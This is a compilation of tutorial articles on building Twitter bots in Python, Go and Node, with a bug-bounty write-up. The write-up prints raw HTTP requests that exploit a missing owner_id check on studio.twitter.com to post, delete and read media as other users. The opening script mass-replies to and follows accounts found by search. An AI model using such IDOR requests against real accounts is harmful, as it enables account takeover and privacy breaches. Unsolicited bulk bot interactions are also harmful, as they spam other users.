    for tweet in tweepy.Cursor(api.search,     search).items(numberOfTweets):            try:                tweetId = tweet.user.id                username = tweet.user.screen_name                api.update_status("@" + username + " " + phrase, in_reply_to_status_id = tweetId)                print ("Replied with " + phrase)                       except tweepy.TweepError as e:                print(e.reason)

except StopIteration:                break

For the favorite, retweet and follow functions simply replace the reply with “retweet”, “favorite” and “follow”. Then copy and paste the code you wrote above for each one underneath the if statement.

Now we just need to add the submit button and tell it to call the mainFunction() and execute the code for our Twitter Bot. Again, don’t forget to pack it!

submit = Button(root, text ="Submit", command = mainFunction)

That’s it! After you run your bot script, a GUI application should run and you will be able to reply, retweet, favorite and follow users.

With this Twitter Bot, I have created the account FreeWtr which advocates for use of filtered tap water over bottled water. Here is a screenshot of the profile.

Here is the full source code on Github.

I wanted freeCodeCamp Toronto’s Twitter to tweet quotes, so I made a free bot to do it.

Victoria Drake — Fri, 09 Mar 2018 00:45:56 +0000

If you read About time, you’ll know that I’m a big believer in spending time now on building things that save time in the future. To this end, I built a simple Twitter bot in Go that would occasionally post links to my articles and keep my account interesting even when I’m too busy to use it. The tweets help drive traffic to my sites, and I don’t have to lift a finger.

I ran the bot on an Amazon EC2 instance for about a month. My AWS usage has historically been pretty inexpensive (less than the price of a coffee in most of North America), so I was surprised when the little instance I was using racked up a bill 90% bigger than the month before. I don’t think AWS is expensive, to be clear, but still… I’m cheap. I want my Twitter bot, and I want it for less.

I’d been meaning to explore AWS Lamda, and figured this was a good opportunity. Unlike an EC2 instance that is constantly running (and charging you for it), Lambda charges you per request and according to the duration of the time your function takes to run. There’s a free tier, too, and the first 1 million requests, plus a certain amount of compute time, are free.

Roughly translated to running a Twitter bot that posts for you, say, twice a day, your monthly cost for using Lambda would total… carry the one… nothing. I’ve been running my Lambda function for a couple weeks now, completely free.

When it recently came time for me to take the reigns of the @freeCodeCampTO Twitter, I decided to employ a similar strategy. I also used this opportunity to document the process for you, dear reader.

So if you’re currently using a full-time running instance for a task that could be served by a cron job, this is the article for you. I’ll cover how to write your function for Lambda, and how to get it set up to run automatically. And, as a sweet little bonus, I’ll include a handy bash script that updates your function from the command line whenever you need to make a change. Let’s do it!

Is Lambda right for you?

When I wrote the code for my Twitter bot in Go, I intended to have it run on an AWS instance and I borrowed heavily from Francesc’s awesome Just for Func episode. Some time later, I modified it to randomly choose an article from my RSS feeds and to tweet the link, twice a day. I wanted to do something similar for the @freeCodeCampTO bot, and have it tweet an inspiring quote about programming every morning.

This is a good use case for Lambda because:

The program should execute once
It runs on a regular schedule, using time as a trigger
It doesn’t need to run constantly

The important thing to keep in mind is that Lambda runs a function once in response to an event that you define. The most widely applicable trigger is a simple cron expression, but there are many other trigger events you can hook up. You can get an overview here.

Write a Lambda function

I found this really straightforward to do in Go. First, grab the aws-lambda-go library:

go get github.com/aws/aws-lambda-go/lambda

Then make this your func main():

func main() { 
       lambda.Start(tweetFeed) 
}

where tweetFeed is the name of the function that makes everything happen. While I won’t go into writing the whole Twitter bot here, you can view my code on GitHub.

Setting up AWS Lambda

I’m assuming you already have an AWS account. If not, first things first here: https://aws.amazon.com/free

1. Create your function

Find AWS Lambda in the list of services, then look for this shiny button:

We’re going to author a function from scratch. Name your function, then under Runtime choose “Go 1.x”.

Under Role name write any name you like. It’s a required field, but irrelevant for this use case.

Click Create function.

2. Configure your function

You’ll see a screen for configuring your new function. Under Handler enter the name of your Go program.

If you scroll down, you’ll see a spot to enter environment variables. This is a great place to enter the Twitter API tokens and secrets, using the variable names that your program expects. The AWS Lambda function will create the environment for you using the variables you provide here.

No further settings are necessary for this use case. Click Save at the top of the page.

3. Upload your code

You can upload your function code as a zip file on the configuration screen. Since we’re using Go, you’ll want to go build first, then zip the resulting executable before uploading that to Lambda.

…Of course I’m not going to do that manually every time I want to tweak my function. That’s what awscli and this bash script are for!

update.sh

go build && \ 
zip fcc-tweet.zip fcc-tweet && \ 
rm fcc-tweet && \ 
aws lambda update-function-code --function-name fcc-tweet --zip-file fileb://fcc-tweet.zip && \ 
rm fcc-tweet.zip

Now whenever I make a tweak, I just run bash update.sh.

If you’re not already using AWS Command Line Interface, do pip install awscli and thank me later. Find instructions for getting set up and configured in a few minutes here under Quick Configuration.

4. Test your function

Wanna see it go? Of course you do! Click “Configure test events” in the dropdown at the top.

Since you’ll use a time-based trigger for this function, you don’t need to enter any code to define test events in the popup window. Simply write any name under Event name and empty the JSON in the field below. Then click Create.

Click Test at the top of the page, and if everything is working correctly you should see…

5. Set up CloudWatch Events

To run our function as we would a cron job — as a regularly scheduled time-based event — we’ll use CloudWatch. Click CloudWatch Events in the Designer sidebar.

Under Configure triggers, you’ll create a new rule. Choose a descriptive name for your rule without spaces or punctuation, and ensure Schedule expression is selected. Then input the time you want your program to run as a rate expression, or cron expression.

A cron expression looks like this: cron(0 12 * * ? *)

The items in the brackets represent, in order: minutes, hours, day of month, month, day of week, and year. In English, it says: Run at noon (UTC) every day.

For more on how to write your cron expressions, read this.

To find out what the current time in UTC is, click here.

If you want your program to run twice a day, say once at 10am and again at 3pm, you’ll need to set two separate CloudWatch Events triggers and cron expression rules.

Click Add.

Watch it go

That’s all you need to get your Lambda function up and running! Now you can sit back, relax, and do more important things than share your RSS links on Twitter.

How I automatically created a Twitter List of FreeCodeCampers in 5 minutes

freeCodeCamp — Wed, 17 Jan 2018 23:20:25 +0000

By Monica Powell

Using Twython Twitter API wrapper to add users to a Twitter List

We are going to create a Python script that will automatically search Twitter for individuals who use the #freeCodeCamp hashtag and add them to a Twitter list of “FreeCodeCampers”. Twitter lists are a way to curate a group of individuals on Twitter and collect all of their tweets in a stream, without having to follow each individual accounts. Twitter lists can contain up to 5,000 individual Twitter accounts.

We can accomplish this by doing the following:

Installing the necessary Python packages
Registering an application with Twitter
Generating and accessing our Twitter credentials
Making Twitter Search and List API calls

So lets get started.

1. Installing the necessary Python packages

Create a file named addToFreeCodeCampList.py, that will contain our main script and then import two Python modules into this file:

Import Config: In the same directory as ouraddToFreeCodeCampList.py script, create a file named config.py that stores our confidential Twitter API credentials. We are going to import our API credentials from that file into our addToFreeCodeCampList.py script by including the line import config. Twitter requires a valid API key, API secret, access token and token secret for all API requests.
Import Twython: Twython is a Python wrapper for the Twitter API that makes it easier to programmatically access and manipulate data from Twitter using Python. We can import Twython with the following line from twython import Twython, TwythonError.

Your addToFreeCodeCampList.py script should now look like this.

import configfrom twython import Twython, TwythonError

2. Registering an application with Twitter

We need to authenticate our application in order to access the Twitter API. You need to have a Twitter account in order to access Twitter’s Application Management site. The Application Management site is where you can view/edit/create API keys, API secrets, access tokens and token secrets.

In order to create these credentials, we need to create a Twitter application. Go to the Application Management site and click on “Create New App”. This should direct you to a page that looks similar to the one below.

Fill out of the required fields and click on “Create your Twitter application”. You will then be redirected to a page with details about your application.

3. Generating and accessing our Twitter credentials

Click on the tab that says “Keys and Access Tokens” and copy the “Consumer Key (API Key)” and “Consumer Secret (API Secret)” into the config.py file
Scroll down to the bottom of the page and click on “Create my access token”. Copy the generated “Access Token” and “Access Token Secret” into the config.py file.

For reference, I recommend formatting your config.py similar to the file below:

Currently, all of our Twitter credentials live inside our config.py file and we’ve imported config into our addToFreeCodeCampList.py file. However, we have not actually passed any information between the files.

Let’s change that by creating a Twython object and passing in the necessary API key, API secrets and API token from our config.py file with the following:

twitter = Twython(config.api_key, config.api_secret, config.access_token, config.token_secret)`

The addToFreeCodeCampList.py file should now look similar to this:

import config

from twython import Twython, TwythonError

# create a Twython object by passing the necessary secret passwordstwitter = Twython(config.api_key, config.api_secret, config.access_token, config.token_secret)

4. Making Twitter Search and List API calls

Let’s make an API call to search Twitter and return the 100 most recent tweets (excluding retweets) that contain “#freeCodeCamp”:

# return tweets containing #FreeCodeCampresponse = twitter.search(q=’”#FreeCodeCamp” -filter:retweets’, result_type=”recent”, count=100)

Look at the tweets returned from our search

# for each tweet returned from search of #FreeCodeCampfor tweet in response[‘statuses’]: # print tweet info if needed for debugging print(tweet) print(tweet[‘user’][‘screen_name’])

A single tweet returned by this API call looks like this in JSON:

{'created_at': 'Sun Dec 24 00:23:05 +0000 2017', 'id': 944725078763298816, 'id_str': '944725078763298816', 'text': 'Why is it so hard to wrap my head around node/express. Diving in just seems so overwhelming. Templates, forms, post… https://t.co/ae52rro63i', 'truncated': True, 'entities': {'hashtags': [], 'symbols': [], 'user_mentions': [], 'urls': [{'url': 'https://t.co/ae52rro63i', 'expanded_url': 'https://twitter.com/i/web/status/944725078763298816', 'display_url': 'twitter.com/i/web/status/9…', 'indices': [117, 140]}]}, 'metadata': {'iso_language_code': 'en', 'result_type': 'recent'}, 'source': 'Twitter Web Client', 'in_reply_to_status_id': None, 'in_reply_to_status_id_str': None, 'in_reply_to_user_id': None, 'in_reply_to_user_id_str': None, 'in_reply_to_screen_name': None, 'user': {'id': 48602981, 'id_str': '48602981', 'name': 'Matt Huberty', 'screen_name': 'MattHuberty', 'location': 'Oxford, MS', 'description': "I'm a science and video game loving eagle scout with a Microbio degree from UF. Nowadays I'm working on growing my tutoring business at Ole Miss. Link below!", 'url': 'https://t.co/dfuqNNoBYZ', 'entities': {'url': {'urls': [{'url': 'https://t.co/dfuqNNoBYZ', 'expanded_url': 'http://www.thetutorcrew.com', 'display_url': 'thetutorcrew.com', 'indices': [0, 23]}]}, 'description': {'urls': []}}, 'protected': False, 'followers_count': 42, 'friends_count': 121, 'listed_count': 4, 'created_at': 'Fri Jun 19 04:00:44 +0000 2009', 'favourites_count': 991, 'utc_offset': -28800, 'time_zone': 'Pacific Time (US & Canada)', 'geo_enabled': False, 'verified': False, 'statuses_count': 199, 'lang': 'en', 'contributors_enabled': False, 'is_translator': False, 'is_translation_enabled': False, 'profile_background_color': 'C0DEED', 'profile_background_image_url': 'http://abs.twimg.com/images/themes/theme1/bg.png', 'profile_background_image_url_https': 'https://abs.twimg.com/images/themes/theme1/bg.png', 'profile_background_tile': False, 'profile_image_url': 'http://pbs.twimg.com/profile_images/777294001598758912/FVOIrnb4_normal.jpg', 'profile_image_url_https': 'https://pbs.twimg.com/profile_images/777294001598758912/FVOIrnb4_normal.jpg', 'profile_banner_url': 'https://pbs.twimg.com/profile_banners/48602981/1431670621', 'profile_link_color': '1DA1F2', 'profile_sidebar_border_color': 'C0DEED', 'profile_sidebar_fill_color': 'DDEEF6', 'profile_text_color': '333333', 'profile_use_background_image': True, 'has_extended_profile': True, 'default_profile': True, 'default_profile_image': False, 'following': False, 'follow_request_sent': False, 'notifications': False, 'translator_type': 'none'}, 'geo': None, 'coordinates': None, 'place': None, 'contributors': None, 'is_quote_status': False, 'retweet_count': 1, 'favorite_count': 0, 'favorited': False, 'retweeted': False, 'lang': 'en'}MattHuberty

and like this on Twitter.com:

Add Tweet-ers to our Twitter list

In order to add the author of the tweet to our Twitter list we need the username associated with the tweet tweet['user']['screen_name']

Let’s try to add the users from these tweets to our Twitter list “FreeCodeCampers”. I created my Twitter list at https://twitter.com/waterproofheart/lists/freecodecampers which means for my script the slug is freecodecampers and the owner_screen_name is mine, waterproofheart.

for tweet in response['statuses']:

# try to add each user who has tweeted the hashtag to the list try: twitter.add_list_member(slug=’YOUR_LIST_SLUG’, owner_screen_name=’YOUR_USERNAME’, screen_name= tweet[‘user’][‘screen_name’])

#if for some reason Twython can't add user to the list print exception messageexcept TwythonError as e: print(e)

You can create your own Twitter list by navigating to your Twitter profile, clicking on “Lists” on desktop and clicking on the right hand side to “Create new list”. View the official Twitter List documentation for more information.

You can test your script by running python addToFreeCodeCampList.py in the terminal.

My final script looks like this:

This script can be set to automatically run locally or remotely via a cron job which allows tasks to be performed at a set schedule.

Feel free to comment below or tweet at me if you have any questions, suggestions or want to share how you modified this script!

If you enjoyed reading this article consider tapping the clap button ?. Wanna see more of my work? Check out my GitHub to view my code and learn more about my development experience at http://aboutmonica.com.

How I could have hacked all Twitter accounts (and how I earned $5,040 in bounties)

freeCodeCamp — Thu, 04 Jan 2018 05:26:16 +0000

By AppSecure

Summary

This blog post is about an Insecure direct object reference vulnerability on Twitter. This vulnerability could have been used by attackers to undertake various activities. For example, they could tweet from other accounts, upload videos on behalf of users, delete pics/videos from the victim’s account, or view private media uploaded by other twitter accounts. All endpoints on studio.twitter.com were vulnerable.

Description

Twitter is an online news and social networking service where users post and interact with messages, called “tweets”, restricted to 140 characters. Registered users can post tweets, but those who are unregistered can only read them. Users access Twitter through its website interface, SMS, or a mobile device app.

Twitter launched a new product named Twitter Studio (studio.twitter.com) in September 2016. I started looking out for security loopholes after the launch.

All API requests on studio.twitter.com were sending a parameter named “owner_id” which was the publicly available twitter user ID of the logged in user. The Owner_id parameter was missing authorisation checks for changes, which allowed me to take actions on behalf of other Twitter users.

Vulnerable request #1 (Tweeting from other Twitter accounts.)

POST /1/tweet.json HTTP/1.1Host: studio.twitter.com

{“account_id”:”attacker’s account id”,”owner_id”:”victim’s user id”,”metadata”:{“monetize”:false,”embeddable_playback”:false,”title”:”Test tweet by attacker”,“description”:”attacker attacker”,”cta_type”:null,”cta_link”:null},”media_key”:””,“text”:”attacker attacker”}

Replaying the above request with the victim’s ID resulted in a tweet from the victim’s account.

Vulnerable request #2 (Upload Media from another’s account)

POST /1/library/add.json HTTP/1.1Host: studio.twitter.com

{“account_id”:”attacker’s accountid”,”owner_id”:”victim’s id”,”metadata”:{“monetize”:false,”name”:”abcd.png”,”embeddable_playback”:true,”title”:”Attacker”,”description”:””,”cta_type”:null,”cta_link”:null},”media_id”:””,”managed”:false,”media_type”:”TweetImage”}

Replaying above request with the victim’s owner_id uploaded media from other user accounts.

Vulnerable request #3 (Delete videos of other accounts)

POST /1/library/remove.json HTTP/1.1Host: studio.twitter.com

{“account_id”:”attacker’s account id”,”owner_id”:”victim’s id”,”media_key”:”victim’s video id”}

Replaying the above request with victim’s user id and victim’s media_key deleted media from the victim’s account.

Vulnerable request #4 (Private media disclosure)

GET /1/library/list.json?account_id=attacker’s account id&owner_id=victim’s id&limit=20&offset=0 HTTP/1.1
Host: studio.twitter.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: [https://studio.twitter.com/library](https://studio.twitter.com/library)
Cookie:
Connection: keep-alive

Replaying the above request with the victim’s user ID and my account ID leaked all private media of the victim’s Twitter account in response.

Video Proof of concept

All tests were done on a friend’s account after getting his permission.

#1 Tweet from victim’s account, Private media leakage

#2 Delete media from victim’s tweets

Timeline

29th August 2016

Reported all findings to Twitter in 3 different reports, as the endpoints were different.

2nd September 2016

Received response from Twitter team saying we are looking into the issue and would be closing out other reports as duplicate, as they shared the same root cause — i.e. missing owner_id check.

3rd September 2016

Bounty of $5,040 rewarded by Twitter

I’m the founder of AppSecure, a specialised cyber security company with years of skill acquired and meticulous expertise. We are here to safeguard your business and critical data from online and offline threats or vulnerabilities.

You can contact us at hello@appsecure.in

How to build and deploy a multifunctional Twitter bot

freeCodeCamp — Mon, 22 May 2017 19:24:39 +0000

By Scott Spence

UPDATE 20190507: This tutorial is probably not relevant anymore as Twitter depreciate parts of the API this will be less and less relevant. I won’t be updating this going forward. ?

UPDATE 20171105: For ease of navigation I have compiled all of this story into a GitBook it is a near exact representation of this story but will be kept up to date with any changes that are made to the GitHub repository. Thanks.

I’ve been busy building Twitter bots again!

If you take a look at my GitHub profile, you’ll see that I have quite a few repos relating to Twitter bots.

My latest project started with the decision to repurpose one of my testing repos as documentation for how to use the npm twit package. But as I added new examples, it quickly morphed into another Twitter bot.

This bot is cobbled together from three examples we’ll go over here. I’ll also detail how I used Zeit’s now platform to deploy the bot to a server.

Special thanks go to Tim for helping me with the now deployment. And to Hannah Davis for the egghead.io course material. It has some pretty neat examples, which I’ve linked to in the relevant sections.

Get started

This article is meant as a reference for me and anyone else that’s interested in Twitter bots in JavaScript using Node.js. Note that all of the examples here use the npm package twit.

Bot example 1: tweeting media with the NASA picture of the day

Ganymede: The Largest Moon pic.twitter.com/6ir3tp1lRM
— Botland Mc Bot ?‍?? (@DroidScott) May 14, 2017

Bot example 2: using RiTa to make a Markov bot that will use your Twitter archive to post statuses based off of your tweet history.

I had the best turkey pie and mash made by my sister in law # nomnomnom the pants still not turned up?
— Botland Mc Bot ?‍?? (@DroidScott) May 14, 2017

Bot example 3: posting links (or other data) from a spreadsheet.

https://t.co/9M9K7Gmtoa a link from a Google spreadsheet
— Botland Mc Bot ?‍?? (@DroidScott) May 15, 2017

We'll go through setting up a simple bot, which we’ll use to run each of these examples.

I'm going to assume that you have Node.js installed along with npm and that you are comfortable with the terminal.

If you are not familiar with Node.js or do not have your environment set up to use it, take a look at the README.md on my Twitter bot bootstrap repo. It gives details about getting a Twitter application set up and a development environment with c9.

A great resource is Aman Mittal's Awesome Twitter bots repo which has resources and bot examples.

A lot of this information is already out there, but I'm hoping this is all the information someone will need to get started with their own Twitter bot. I'm doing this for my own learning and hopefully other people will get something out of this as well.

Set up the bot

Before touching the terminal or writing any code, we’ll need to create a Twitter app to get our API keys (we’ll need them all):

Consumer Key (API Key)
Consumer Secret (API Secret)
Access Token
Access Token Secret

Keep the keys somewhere safe so you can use them again when you need them. We’re going to use them in an [.env](https://www.npmjs.com/package/dotenv) file that we’ll create.

We’re using [dotenv](https://www.npmjs.com/package/dotenv) so that if at some point in the future we want to add our bot to GitHub the Twitter API keys are not added to GitHub for all to see.

Starting from scratch, create a new folder via the terminal and initialise the package.json via npm or yarn. We'll need twit and dotenv for all these examples.

I’ll be using yarn for all these examples, you can use npm if you prefer.

Terminal commands:

mkdir tweebot-play
cd tweebot-play
yarn init -y
yarn add twit dotenv
touch .env .gitignore index.js

If you take a look at the package.json that was created it should look something like this:

{
  "name": "tweebot-play",
  "version": "1.0.0",
  "main": "index.js",
  "author": "Scott Spence  (https://spences10.github.io/)",
  "license": "MIT",
  "dependencies": {
    "dotenv": "^4.0.0",
    "twit": "^2.2.5"
  }
}

Add an npm script to the package.json to kick off the bot when we're testing and looking for output:

"scripts": {
    "start": "node index.js"
  },

It should look something like this now:

{
  "name": "tweebot-play",
  "version": "1.0.0",
  "main": "index.js",
  "scripts": {
    "start": "node index.js"
  },
  "author": "Scott Spence  (https://spences10.github.io/)",
  "license": "MIT",
  "dependencies": {
    "dotenv": "^4.0.0",
    "twit": "^2.2.5"
  }
}

Now we can add the following pointer to the bot in index.js, like so:

require('./src/bot')

So when we use yarn start to run the bot it calls the index.js file which runs the bot.js file from the src folder we're going to create.

Now we add our API keys to the .env file, it should look something like this:

CONSUMER_KEY=AmMSbxxxxxxxxxxNh4BcdMhxg
CONSUMER_SECRET=eQUfMrHbtlxxxxxxxxxxkFNNj1H107xxxxxxxxxx6CZH0fjymV
ACCESS_TOKEN=7xxxxx492-uEcacdl7HJxxxxxxxxxxecKpi90bFhdsGG2N7iII
ACCESS_TOKEN_SECRET=77vGPTt20xxxxxxxxxxxZAU8wxxxxxxxxxx0PhOo43cGO

In the .gitignore file we need to add .env and node_modules

# Dependency directories
node_modules

# env files
.env

Then init git:

git init

Ok, now we can start to configure the bot, we'll need a src folder a bot.js file and a config.js file.

Terminal:

mkdir src
cd src
touch config.js bot.js

Then we can set up the bot config, open the config.js file and add the following:

require('dotenv').config()

module.exports = {
  consumer_key: process.env.CONSUMER_KEY,
  consumer_secret: process.env.CONSUMER_SECRET,
  access_token: process.env.ACCESS_TOKEN,
  access_token_secret: process.env.ACCESS_TOKEN_SECRET,
}

Okay, with the bot config done, now we can set up the bot. Each of the examples detailed here will have the same three lines of code:

const Twit = require('twit')
const config = require('./config')

const bot = new Twit(config)

Do a test with yarn start from the terminal, we should get this for output:

yarn start
yarn start v0.23.4
$ node index.js
Done in 0.64s.

Our bot is now configured and ready to go!

Post Statuses

To post a status, use .post('statuses/update'.... This example makes the bot post a “hello world!” status.

bot.post('statuses/update', {
  status: 'hello world!'
}, (err, data, response) => {
  if (err) {
    console.log(err)
  } else {
    console.log(`${data.text} tweeted!`)
  }
})

Work with users

To get a list of follower IDs, use .get('followers/ids'... and include the account of which you want the followers. In this example, we're using [@DroidScott](https://twitter.com/DroidScott), but you can use any account you like. We can then log them out to the console.

bot.get('followers/ids', {
  screen_name: 'DroidScott',
  count: 5
}, (err, data, response) => {
  if (err) {
    console.log(err)
  } else {
    console.log(data)
  }
})

You can use the count parameter the specify how many results you get, up to 100 at a time.

Or to get a detailed list you can use .get('followers/list'...

Here we print off a list of user.screen_name's up to 200 per call.

bot.get('followers/list', {
  screen_name: 'DroidScott',
  count:200
}, (err, data, response) => {
  if (err) {
    console.log(err)
  } else {
    data.users.forEach(user => {
      console.log(user.screen_name)
    })
  }
})

To follow back a follower we can use .post('friendships/create'... here the bot is following back the user MarcGuberti

A bot should only follow users that follow the bot.

bot.post('friendships/create', {
  screen_name: 'MarcGuberti'
}, (err, data, response) => {
  if (err) {
    console.log(err)
  } else {
    console.log(data)
  }
})

Like we did with followers, you can get a list of accounts that your bot is following back.

bot.get('friends/ids', {
  screen_name: 'DroidScott'
}, (err, data, response) => {
  if (err) {
    console.log(err)
  } else {
    console.log(data)
  }
})

And also a detailed list.

bot.get('friends/list', {
  screen_name: 'DroidScott'
}, (err, data, response) => {
  if (err) {
    console.log(err)
  } else {
    console.log(data)
  }
})

You can get friendship statuses. This is useful for following new followers, and gives us the relation of a specific user. You can run through your followers list and follow back any users that do not have the following connection.

Lets take a look at the relation between our bot and [@ScottDevTweets](https://twitter.com/ScottDevTweets)

bot.get('friendships/lookup', {
  screen_name: 'ScottDevTweets'
}, (err, data, response) => {
  if (err) {
    console.log(err)
  } else {
    console.log(data)
  }
})

If the user follows the bot, then relationship will be:

[ { name: 'Scott Spence ???♻',
    screen_name: 'ScottDevTweets',
    id: 4897735439,
    id_str: '4897735439',
    connections: [ 'followed_by' ] } ]

If the user and the bot are following each other, the relationship will be:

[ { name: 'Scott Spence ???♻',
    screen_name: 'ScottDevTweets',
    id: 4897735439,
    id_str: '4897735439',
    connections: [ 'following', 'followed_by' ] } ]

And if there is no relationship then:

[ { name: 'Scott Spence ???♻',
    screen_name: 'ScottDevTweets',
    id: 4897735439,
    id_str: '4897735439',
    connections: [ 'none' ] } ]

Direct Message a user with bot.post('direct_messages/new'...

A bot should only DM a user that is following the bot account

bot.post('direct_messages/new', {
  screen_name: 'ScottDevTweets',
  text: 'Hello from bot!'
}, (err, data, response) => {
  if (err) {
    console.log(err)
  } else {
    console.log(data)
  }
})

Interact with tweets

To get a list of tweets in the bot’s time line, use .get(statuses/home_timeline'...

bot.get('statuses/home_timeline', {
  count: 1
}, (err, data, response) => {
  if (err) {
    console.log(err)
  } else {
    console.log(data)
  }
})

To be more granular you can pull out specific information on each tweet.

bot.get('statuses/home_timeline', {
  count: 5
}, (err, data, response) => {
  if (err) {
    console.log(err)
  } else {
    data.forEach(t => {
      console.log(t.text)
      console.log(t.user.screen_name)
      console.log(t.id_str)
      console.log('\n')
    })
  }
})

To retweet use .post('statuses/retweet/:id'... and pass in a tweet id to retweet.

bot.post('statuses/retweet/:id', {
  id: '860828247944253440'
}, (err, data, response) => {
  if (err) {
    console.log(err)
  } else {
    console.log(`${data.text} retweet success!`)
  }
})

To unretweet just use .post('statuses/unretweet/:id'...

bot.post('statuses/unretweet/:id', {
  id: '860828247944253440'
}, (err, data, response) => {
  if (err) {
    console.log(err)
  } else {
    console.log(`${data.text} unretweet success!`)
  }
})

To like a tweet use .post('favorites/create'...

bot.post('favorites/create', {
  id: '860897020726435840'
}, (err, data, response) => {
  if (err) {
    console.log(err)
  } else {
    console.log(`${data.text} tweet liked!`)
  }
})

To unlike a post use .post('favorites/destroy'...

bot.post('favorites/destroy', {
  id: '860897020726435840'
}, (err, data, response) => {
  if (err) {
    console.log(err)
  } else {
    console.log(`${data.text} tweet unliked!`)
  }
})

To reply to a tweet is much the same as posting a tweet, but you need to include the in_reply_to_status_id parameter. Also, you will need to put in the screen name of the person you are replying to.

bot.post('statuses/update', {
  status: '@ScottDevTweets I reply to you yes!',
  in_reply_to_status_id: '860900406381211649'
}, (err, data, response) => {
  if (err) {
    console.log(err)
  } else {
    console.log(`${data.text} tweeted!`)
  }
})

Finally, if you want to delete a tweet, use .post('statuses/destroy/:id'... by passing the tweet id you want to delete.

bot.post('statuses/destroy/:id', {
  id: '860900437993676801'
}, (err, data, response) => {
  if (err) {
    console.log(err)
  } else {
    console.log(`${data.text} tweet deleted!`)
  }
})

Use Twitter search

To use search, use .get('search/tweets',.... There are quite a few search parameters for search.

The structure is q: '' where the q is for query. You would use q: 'mango' to search for mango. We can also limit the results returned with count: n so let's limit the count to 5 in the example.

bot.get('search/tweets', {
  q: 'mango',
  count: 5
}, (err, data, response) => {
  if (err) {
    console.log(err)
  } else {
    console.log(data.statuses)
  }
})

Like we did with the timeline we will pull out specific items from the data.statuses returned, like this:

bot.get('search/tweets', {
  q: 'mango',
  count: 5
}, (err, data, response) => {
  if (err) {
    console.log(err)
  } else {
    data.statuses.forEach(s => {
      console.log(s.text)
      console.log(s.user.screen_name)
      console.log('\n')
    })
  }
})

The search API returns results for relevance and not completeness. If you want to search for an exact phrase, you’ll need to wrap the query in quotes "purple pancakes". If you want to search for one of two words, then use OR like 'tabs OR spaces'. And if you want to search for both, use AND like 'tabs AND spaces'.

If you want to search for a tweet without another word use - like donald -trump. You can use it multiple times as well, like donald -trump -duck

You can search for tweets with emoticons, like q: 'sad :(' try it!

Of course, you can look for hashtags q: '#towie'. Look for tweets to a user q: 'to:@stephenfry' or from a user q: 'from:@stephenfry'

You can filter out indecent tweets with the filter:safe parameter. You can also use it to filter for media tweets which will return tweets containing video. You can specify for images to view tweets with images and you can specify links for tweets with links.

If you want tweets from a certain website, you can specify with the url parameter like url:asda

bot.get('search/tweets', {
  q: 'from:@dan_abramov url:facebook filter:images since:2017-01-01',
  count: 5
}, (err, data, response) => {
  if (err) {
    console.log(err)
  } else {
    data.statuses.forEach(s => {
      console.log(s.text)
      console.log(s.user.screen_name)
      console.log('\n')
    })
  }
})

Last few now, there’s the result_type parameter that will return recent, popular, or mixed results.

The geocode parameter takes the format latitude longitude then radius in miles '51.5033640,-0.1276250,1mi' example:

bot.get('search/tweets', {
  q: 'bacon',
  geocode: '51.5033640,-0.1276250,1mi',
  count: 5
}, (err, data, response) => {
  if (err) {
    console.log(err)
  } else {
    data.statuses.forEach(s => {
      console.log(s.text)
      console.log(s.user.screen_name)
      console.log('\n')
    })
  }
})

Use Twitter Stream API

There are two ways to use the Stream API. First, there’s .stream('statuses/sample').

const stream = bot.stream('statuses/sample');

stream.on('tweet', t => {
  console.log(`${t.text}\n`)
})

This will give you a random sampling of tweets.

For more specific information use .stream('statuses/filter')... then pass some parameters, and use track: to specify a search string.

var stream = bot.stream('statuses/filter', {
  track: 'bot'
})

stream.on('tweet', function (t) {
  console.log(t.text + '\n')
})

You can also use multiple words in the track parameter, this will get you results with either twitter or bot in them.

const stream = bot.stream('statuses/filter', {
  track: 'twitter, bot'
});

stream.on('tweet', t => {
  console.log(`${t.text}\n`)
})

If you want both words, then remove the comma , — you can think of spaces as AND and commas as OR.

You can also use the follow: parameter which lets you input the ids of specific users.

const stream = bot.stream('statuses/filter', {
  follow: '4897735439'
});

stream.on('tweet', t => {
  console.log(`${t.text}\n`)
})

Tweet media files

This egghead.io video is a great resource for this section thanks to Hannah Davis for the awesome content!

This will be a request to get the NASA image of the day and tweet it.

We will need references to request and fs for working with the file system.

const Twit = require('twit')
const request = require('request')
const fs = require('fs')
const config = require('./config')

const bot = new Twit(config)

The first step is to get the photo from the NASA API. We will need to create a parameter object inside our getPhoto function that will be passed to the node HTTP client request for the image.

function getPhoto() {
  const parameters = {
    url: 'https://api.nasa.gov/planetary/apod',
    qs: {
      api_key: process.env.NASA_KEY
    },
    encoding: 'binary'
  };
}

The parameters specify an api_key so for this you can apply for an API key or you can use the DEMO_KEY. This API key can be used for initially exploring APIs prior to signing up, but it has much lower rate limits, so you’re encouraged to signup for your own API key.

In the example, you can see that I have configured my key with the rest of my .env variables.

CONSUMER_KEY=AmMSbxxxxxxxxxxNh4BcdMhxg
CONSUMER_SECRET=eQUfMrHbtlxxxxxxxxxxkFNNj1H107xxxxxxxxxx6CZH0fjymV
ACCESS_TOKEN=7xxxxx492-uEcacdl7HJxxxxxxxxxxecKpi90bFhdsGG2N7iII
ACCESS_TOKEN_SECRET=77vGPTt20xxxxxxxxxxxZAU8wxxxxxxxxxx0PhOo43cGO

NASA_KEY=DEMO_KEY

Now to use the request to get the image:

function getPhoto() {
  const parameters = {
    url: 'https://api.nasa.gov/planetary/apod',
    qs: {
      api_key: process.env.NASA_KEY
    },
    encoding: 'binary'
  };
  request.get(parameters, (err, respone, body) => {
    body = JSON.parse(body)
    saveFile(body, 'nasa.jpg')
  })
}

In the request, we pass in our parameters and parse the body as JSON so we can save it with the saveFile function.

function saveFile(body, fileName) {
  const file = fs.createWriteStream(fileName);
  request(body).pipe(file).on('close', err => {
    if (err) {
      console.log(err)
    } else {
      console.log('Media saved!')
      console.log(body)
    }
  })
}

request(body).pipe(file).on('close'... is what saves the file from the file variable. It has the name nasa.jpg passed to it from the getPhoto function.

Calling getPhoto() should now save the NASA image of the day to the root of your project.

Now we can share it on Twitter. There are two parts to this, the first is to save the file.

function saveFile(body, fileName) {
  const file = fs.createWriteStream(fileName);
  request(body).pipe(file).on('close', err => {
    if (err) {
      console.log(err)
    } else {
      console.log('Media saved!')
      const descriptionText = body.title;
      uploadMedia(descriptionText, fileName)
    }
  })
}

